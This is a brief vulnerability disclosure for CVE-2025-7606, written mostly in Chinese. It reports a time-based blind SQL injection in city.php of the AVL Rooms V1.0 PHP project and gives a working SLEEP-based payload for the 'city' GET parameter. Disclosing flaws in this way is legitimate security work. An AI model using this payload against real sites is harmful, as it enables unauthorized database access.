CVE-2025-7606

code-projects AVL Rooms Project V1.0/city.php SQL注入

受影响产品名称

AVL Rooms

供应商主页

https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

提交者

dazhi

漏洞文件

/city.php

版本

V1.0

软件链接

https://code-projects.org/avl-rooms-in-php-css-javascript-and-mysql-free-download/

Payload:

---

city (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: city=1' AND (SELECT 5303 FROM (SELECT(SLEEP(5)))kuAW) AND 'FOfS'='FOfS&date=07/13/2025

---